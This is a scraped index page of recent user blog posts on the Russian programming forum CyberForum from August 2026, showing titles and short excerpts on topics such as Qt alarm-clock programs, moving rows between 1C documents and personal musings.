Суть: рассматривается живое существо, оказавшееся внутри довольно странной системы (этого мира) и пытающееся обустроить в ней свой кусок пространства. Жизнь действительно предъявляет каждому. . .
Когда логика программы не спасает от человеческих ошибок
Maks 18.08.2026
В последнее время всё чаще и чаще сталкиваюсь с таким явлением, как абсолютная невнимательность (или глупость) пользователей. Проявляется это чаще всего на работе в коллективе. Допустим, человек с. . .
Лето уходит
kumehtar 17.08.2026
Мысли в слух
kumehtar 17.08.2026
Забавно, насколько сейчас стала доступна информация. Например о магии, духовном развитии, медитациях, и других подобных направлениях, ранее зачастую тайных, передаваемых от учителя к ученику. Хотя. . .
Перемещение строк из ТЧ в другой документ с учетом текущего пробега
Maks 17.08.2026
Реализация из решения ниже выполнена на примере нетипового документа "Автозапчасти", с ТЧ "Шины". За основу взят алгоритм отсюда: https:/ / www. cyberforum. ru/ blogs/ 359708/ 10838. html Задача: . . .
Саморегулирующийся социальный контракт для сервера cross-section.
Hrethgir 14.08.2026
С кодом конечно таких глубоких размышлений пока не было, впрочем я уже привык к алгоритмизации. Суть предмета записи: снова в диалоге с нейросетью (я взял пока себе ник для учётки админа - Rector). . . .
Часы электронные
Uhbif79 12.08.2026
Выкладываю программу часов. Программа позволяет: 1. Использовать системное время и дату, 2. Есть возможность вводить время и дату вручную. 3. Реализованы 2 будильника: начало и конец рабочего дня. . . .
Часы с будильником на основе класса QLCDNumber
Uhbif79 12.08.2026
Всем добрый день, выкладываю программу часов с будильником на основе класса QLCDNumber. Здесь я пробовал самостоятельно создавал классы, впервые столкнулся с видимостью переменной одного класса из. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru